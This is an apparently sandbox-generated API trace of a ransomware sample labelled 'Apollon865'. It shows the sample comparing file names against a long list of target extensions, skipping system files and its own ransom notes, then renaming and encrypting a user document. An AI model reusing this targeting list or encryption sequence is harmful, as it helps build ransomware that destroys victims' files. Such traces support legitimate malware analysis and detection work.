	[0088.969] lstrcmpiW (lpString1="pps", lpString2="ora") returned 1
	[0088.969] lstrlenW (lpString="orx") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="orx") returned 1
	[0088.969] lstrlenW (lpString="owc") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="owc") returned 1
	[0088.969] lstrlenW (lpString="p96") returned 3
	[0088.969] lstrcmpiW (lpString1="pps", lpString2="p96") returned 1
	[0088.970] lstrlenW (lpString="p97") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="p97") returned 1
	[0088.970] lstrlenW (lpString="pan") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="pan") returned 1
	[0088.970] lstrlenW (lpString="pdb") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="pdb") returned 1
	[0088.970] lstrlenW (lpString="pdm") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="pdm") returned 1
	[0088.970] lstrlenW (lpString="pnz") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="pnz") returned 1
	[0088.970] lstrlenW (lpString="qry") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="qry") returned -1
	[0088.970] lstrlenW (lpString="qvd") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="qvd") returned -1
	[0088.970] lstrlenW (lpString="rbf") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="rbf") returned -1
	[0088.970] lstrlenW (lpString="rctd") returned 4
	[0088.970] lstrcmpiW (lpString1=".pps", lpString2="rctd") returned -1
	[0088.970] lstrlenW (lpString="rod") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="rod") returned -1
	[0088.970] lstrlenW (lpString="rodx") returned 4
	[0088.970] lstrcmpiW (lpString1=".pps", lpString2="rodx") returned -1
	[0088.970] lstrlenW (lpString="rpd") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="rpd") returned -1
	[0088.970] lstrlenW (lpString="rsd") returned 3
	[0088.970] lstrcmpiW (lpString1="pps", lpString2="rsd") returned -1
	[0088.970] lstrlenW (lpString="sas7bdat") returned 8
	[0088.970] lstrcmpiW (lpString1="ujlA.pps", lpString2="sas7bdat") returned 1
	[0088.970] lstrlenW (lpString="sbf") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="sbf") returned -1
	[0088.971] lstrlenW (lpString="scx") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="scx") returned -1
	[0088.971] lstrlenW (lpString="sdb") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="sdb") returned -1
	[0088.971] lstrlenW (lpString="sdc") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="sdc") returned -1
	[0088.971] lstrlenW (lpString="sdf") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="sdf") returned -1
	[0088.971] lstrlenW (lpString="sis") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="sis") returned -1
	[0088.971] lstrlenW (lpString="spq") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="spq") returned -1
	[0088.971] lstrlenW (lpString="te") returned 2
	[0088.971] lstrcmpiW (lpString1="ps", lpString2="te") returned -1
	[0088.971] lstrlenW (lpString="teacher") returned 7
	[0088.971] lstrcmpiW (lpString1="jlA.pps", lpString2="teacher") returned -1
	[0088.971] lstrlenW (lpString="tmd") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="tmd") returned -1
	[0088.971] lstrlenW (lpString="tps") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="tps") returned -1
	[0088.971] lstrlenW (lpString="trc") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="trc") returned -1
	[0088.971] lstrlenW (lpString="trc") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="trc") returned -1
	[0088.971] lstrlenW (lpString="trm") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="trm") returned -1
	[0088.971] lstrlenW (lpString="udb") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="udb") returned -1
	[0088.971] lstrlenW (lpString="udl") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="udl") returned -1
	[0088.971] lstrlenW (lpString="usr") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="usr") returned -1
	[0088.971] lstrlenW (lpString="v12") returned 3
	[0088.971] lstrcmpiW (lpString1="pps", lpString2="v12") returned -1
	[0088.971] lstrlenW (lpString="vis") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="vis") returned -1
	[0088.972] lstrlenW (lpString="vpd") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="vpd") returned -1
	[0088.972] lstrlenW (lpString="vvv") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="vvv") returned -1
	[0088.972] lstrlenW (lpString="wdb") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="wdb") returned -1
	[0088.972] lstrlenW (lpString="wmdb") returned 4
	[0088.972] lstrcmpiW (lpString1=".pps", lpString2="wmdb") returned -1
	[0088.972] lstrlenW (lpString="wrk") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="wrk") returned -1
	[0088.972] lstrlenW (lpString="xdb") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="xdb") returned -1
	[0088.972] lstrlenW (lpString="xld") returned 3
	[0088.972] lstrcmpiW (lpString1="pps", lpString2="xld") returned -1
	[0088.972] lstrlenW (lpString="xmlff") returned 5
	[0088.972] lstrcmpiW (lpString1="A.pps", lpString2="xmlff") returned -1
	[0088.972] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8ndHEujlA.pps.Apollon865") returned 64
	[0088.972] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8ndHEujlA.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ndheujla.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8ndHEujlA.pps.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ndheujla.pps.apollon865"), dwFlags=0x1) returned 1
	[0088.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8ndHEujlA.pps.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8ndheujla.pps.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.974] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=79553) returned 1
	[0088.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.974] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.975] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.975] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.975] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x139d0, lpName=0x0) returned 0x15c
	[0088.976] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x139d0) returned 0x120000
	[0088.979] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.979] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.979] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.979] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.979] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.980] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.981] CloseHandle (hObject=0x15c) returned 1
	[0088.981] CloseHandle (hObject=0x9c) returned 1
	[0088.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.987] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c8a4a0, ftCreationTime.dwHighDateTime=0x1d528a9, ftLastAccessTime.dwLowDateTime=0x6ab47fe0, ftLastAccessTime.dwHighDateTime=0x1d507ca, ftLastWriteTime.dwLowDateTime=0x6ab47fe0, ftLastWriteTime.dwHighDateTime=0x1d507ca, nFileSizeHigh=0x0, nFileSizeLow=0x1562f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9wlbrD09iub lai.docx", cAlternateFileName="9WLBRD~1.DOC")) returned 1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="Apollon865.txt.exe") returned -1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".") returned 1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="..") returned 1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="windows") returned -1
	[0088.987] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="bootmgr") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="temp") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="pagefile.sys") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="boot") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="ids.txt") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="ntuser.dat") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="perflogs") returned -1
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2="MSBuild") returned -1
	[0088.988] lstrlenW (lpString="9wlbrD09iub lai.docx") returned 20
	[0088.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8ndHEujlA.pps") returned 53
	[0088.988] lstrcpyW (in: lpString1=0x119e658, lpString2="9wlbrD09iub lai.docx" | out: lpString1="9wlbrD09iub lai.docx") returned="9wlbrD09iub lai.docx"
	[0088.988] lstrlenW (lpString="9wlbrD09iub lai.docx") returned 20
	[0088.988] lstrlenW (lpString="Apollon865") returned 10
	[0088.988] lstrcmpiW (lpString1="b lai.docx", lpString2="Apollon865") returned 1
	[0088.988] lstrlenW (lpString=".dll") returned 4
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".dll") returned 1
	[0088.988] lstrlenW (lpString=".lnk") returned 4
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".lnk") returned 1
	[0088.988] lstrlenW (lpString=".ini") returned 4
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".ini") returned 1
	[0088.988] lstrlenW (lpString=".sys") returned 4
	[0088.988] lstrcmpiW (lpString1="9wlbrD09iub lai.docx", lpString2=".sys") returned 1
	[0088.988] lstrlenW (lpString="9wlbrD09iub lai.docx") returned 20
	[0088.988] lstrlenW (lpString="bak") returned 3
	[0088.988] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1
	[0088.988] lstrlenW (lpString="ba_") returned 3
	[0088.988] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1
	[0088.988] lstrlenW (lpString="dbb") returned 3
	[0088.988] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1
	[0088.988] lstrlenW (lpString="vmdk") returned 4
	[0088.988] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1
	[0088.988] lstrlenW (lpString="rar") returned 3
	[0088.988] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1
	[0088.988] lstrlenW (lpString="zip") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1
	[0088.989] lstrlenW (lpString="tgz") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1
	[0088.989] lstrlenW (lpString="vbox") returned 4
	[0088.989] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1
	[0088.989] lstrlenW (lpString="vdi") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1
	[0088.989] lstrlenW (lpString="vhd") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1
	[0088.989] lstrlenW (lpString="vhdx") returned 4
	[0088.989] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1
	[0088.989] lstrlenW (lpString="avhd") returned 4
	[0088.989] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1
	[0088.989] lstrlenW (lpString="db") returned 2
	[0088.989] lstrcmpiW (lpString1="cx", lpString2="db") returned -1
	[0088.989] lstrlenW (lpString="db2") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1
	[0088.989] lstrlenW (lpString="db3") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1
	[0088.989] lstrlenW (lpString="dbf") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1
	[0088.989] lstrlenW (lpString="mdf") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1
	[0088.989] lstrlenW (lpString="mdb") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1
	[0088.989] lstrlenW (lpString="sql") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1
	[0088.989] lstrlenW (lpString="sqlite") returned 6
	[0088.989] lstrcmpiW (lpString1="i.docx", lpString2="sqlite") returned -1
	[0088.989] lstrlenW (lpString="sqlite3") returned 7
	[0088.989] lstrcmpiW (lpString1="ai.docx", lpString2="sqlite3") returned -1
	[0088.989] lstrlenW (lpString="sqlitedb") returned 8
	[0088.989] lstrcmpiW (lpString1="lai.docx", lpString2="sqlitedb") returned -1
	[0088.989] lstrlenW (lpString="xml") returned 3
	[0088.989] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1
	[0088.989] lstrlenW (lpString="$er") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1
	[0088.990] lstrlenW (lpString="4dd") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1
	[0088.990] lstrlenW (lpString="4dl") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1
	[0088.990] lstrlenW (lpString="^^^") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1
	[0088.990] lstrlenW (lpString="abs") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1
	[0088.990] lstrlenW (lpString="abx") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1
	[0088.990] lstrlenW (lpString="accdb") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1
	[0088.990] lstrlenW (lpString="accdc") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1
	[0088.990] lstrlenW (lpString="accde") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1
	[0088.990] lstrlenW (lpString="accdr") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1
	[0088.990] lstrlenW (lpString="accdt") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1
	[0088.990] lstrlenW (lpString="accdw") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1
	[0088.990] lstrlenW (lpString="accft") returned 5
	[0088.990] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1
	[0088.990] lstrlenW (lpString="adb") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0088.990] lstrlenW (lpString="adb") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0088.990] lstrlenW (lpString="ade") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1
	[0088.990] lstrlenW (lpString="adf") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1
	[0088.990] lstrlenW (lpString="adn") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1
	[0088.990] lstrlenW (lpString="adp") returned 3
	[0088.990] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1
	[0088.991] lstrlenW (lpString="alf") returned 3
	[0088.991] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1
	[0088.992] lstrlenW (lpString="ask") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1
	[0088.992] lstrlenW (lpString="btr") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1
	[0088.992] lstrlenW (lpString="cat") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1
	[0088.992] lstrlenW (lpString="cdb") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1
	[0088.992] lstrlenW (lpString="ckp") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1
	[0088.992] lstrlenW (lpString="cma") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1
	[0088.992] lstrlenW (lpString="cpd") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1
	[0088.992] lstrlenW (lpString="dacpac") returned 6
	[0088.992] lstrcmpiW (lpString1="i.docx", lpString2="dacpac") returned 1
	[0088.992] lstrlenW (lpString="dad") returned 3
	[0088.992] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1
	[0088.993] lstrlenW (lpString="dadiagrams") returned 10
	[0088.993] lstrcmpiW (lpString1="b lai.docx", lpString2="dadiagrams") returned -1
	[0088.993] lstrlenW (lpString="daschema") returned 8
	[0088.993] lstrcmpiW (lpString1="lai.docx", lpString2="daschema") returned 1
	[0088.993] lstrlenW (lpString="db-journal") returned 10
	[0088.993] lstrcmpiW (lpString1="b lai.docx", lpString2="db-journal") returned -1
	[0088.993] lstrlenW (lpString="db-shm") returned 6
	[0088.993] lstrcmpiW (lpString1="i.docx", lpString2="db-shm") returned 1
	[0088.993] lstrlenW (lpString="db-wal") returned 6
	[0088.993] lstrcmpiW (lpString1="i.docx", lpString2="db-wal") returned 1
	[0088.993] lstrlenW (lpString="dbc") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1
	[0088.993] lstrlenW (lpString="dbs") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1
	[0088.993] lstrlenW (lpString="dbt") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1
	[0088.993] lstrlenW (lpString="dbv") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1
	[0088.993] lstrlenW (lpString="dbx") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1
	[0088.993] lstrlenW (lpString="dcb") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1
	[0088.993] lstrlenW (lpString="dct") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1
	[0088.993] lstrlenW (lpString="dcx") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1
	[0088.993] lstrlenW (lpString="ddl") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1
	[0088.993] lstrlenW (lpString="dlis") returned 4
	[0088.993] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1
	[0088.993] lstrlenW (lpString="dp1") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1
	[0088.993] lstrlenW (lpString="dqy") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1
	[0088.993] lstrlenW (lpString="dsk") returned 3
	[0088.993] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1
	[0088.993] lstrlenW (lpString="dsn") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1
	[0088.994] lstrlenW (lpString="dtsx") returned 4
	[0088.994] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1
	[0088.994] lstrlenW (lpString="dxl") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1
	[0088.994] lstrlenW (lpString="eco") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1
	[0088.994] lstrlenW (lpString="ecx") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1
	[0088.994] lstrlenW (lpString="edb") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1
	[0088.994] lstrlenW (lpString="epim") returned 4
	[0088.994] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1
	[0088.994] lstrlenW (lpString="fcd") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1
	[0088.994] lstrlenW (lpString="fdb") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1
	[0088.994] lstrlenW (lpString="fic") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1
	[0088.994] lstrlenW (lpString="flexolibrary") returned 12
	[0088.994] lstrcmpiW (lpString1="iub lai.docx", lpString2="flexolibrary") returned 1
	[0088.994] lstrlenW (lpString="fm5") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1
	[0088.994] lstrlenW (lpString="fmp") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1
	[0088.994] lstrlenW (lpString="fmp12") returned 5
	[0088.994] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1
	[0088.994] lstrlenW (lpString="fmpsl") returned 5
	[0088.994] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1
	[0088.994] lstrlenW (lpString="fol") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1
	[0088.994] lstrlenW (lpString="fp3") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1
	[0088.994] lstrlenW (lpString="fp4") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fp4") returned 1
	[0088.994] lstrlenW (lpString="fp5") returned 3
	[0088.994] lstrcmpiW (lpString1="ocx", lpString2="fp5") returned 1
	[0088.995] lstrlenW (lpString="fp7") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="fp7") returned 1
	[0088.995] lstrlenW (lpString="fpt") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="fpt") returned 1
	[0088.995] lstrlenW (lpString="frm") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="frm") returned 1
	[0088.995] lstrlenW (lpString="gdb") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0088.995] lstrlenW (lpString="gdb") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="gdb") returned 1
	[0088.995] lstrlenW (lpString="grdb") returned 4
	[0088.995] lstrcmpiW (lpString1="docx", lpString2="grdb") returned -1
	[0088.995] lstrlenW (lpString="gwi") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="gwi") returned 1
	[0088.995] lstrlenW (lpString="hdb") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="hdb") returned 1
	[0088.995] lstrlenW (lpString="his") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="his") returned 1
	[0088.995] lstrlenW (lpString="ib") returned 2
	[0088.995] lstrcmpiW (lpString1="cx", lpString2="ib") returned -1
	[0088.995] lstrlenW (lpString="idb") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="idb") returned 1
	[0088.995] lstrlenW (lpString="ihx") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="ihx") returned 1
	[0088.995] lstrlenW (lpString="itdb") returned 4
	[0088.995] lstrcmpiW (lpString1="docx", lpString2="itdb") returned -1
	[0088.995] lstrlenW (lpString="itw") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="itw") returned 1
	[0088.995] lstrlenW (lpString="jet") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="jet") returned 1
	[0088.995] lstrlenW (lpString="jtx") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1
	[0088.995] lstrlenW (lpString="kdb") returned 3
	[0088.995] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1
	[0088.995] lstrlenW (lpString="kexi") returned 4
	[0088.995] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1
	[0088.995] lstrlenW (lpString="kexic") returned 5
	[0088.996] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1
	[0088.996] lstrlenW (lpString="kexis") returned 5
	[0088.996] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1
	[0088.996] lstrlenW (lpString="lgc") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1
	[0088.996] lstrlenW (lpString="lwx") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1
	[0088.996] lstrlenW (lpString="maf") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1
	[0088.996] lstrlenW (lpString="maq") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1
	[0088.996] lstrlenW (lpString="mar") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1
	[0088.996] lstrlenW (lpString="marshal") returned 7
	[0088.996] lstrcmpiW (lpString1="ai.docx", lpString2="marshal") returned -1
	[0088.996] lstrlenW (lpString="mas") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1
	[0088.996] lstrlenW (lpString="mav") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1
	[0088.996] lstrlenW (lpString="maw") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1
	[0088.996] lstrlenW (lpString="mdbhtml") returned 7
	[0088.996] lstrcmpiW (lpString1="ai.docx", lpString2="mdbhtml") returned -1
	[0088.996] lstrlenW (lpString="mdn") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1
	[0088.996] lstrlenW (lpString="mdt") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1
	[0088.996] lstrlenW (lpString="mfd") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1
	[0088.996] lstrlenW (lpString="mpd") returned 3
	[0088.996] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1
	[0088.996] lstrlenW (lpString="mrg") returned 3
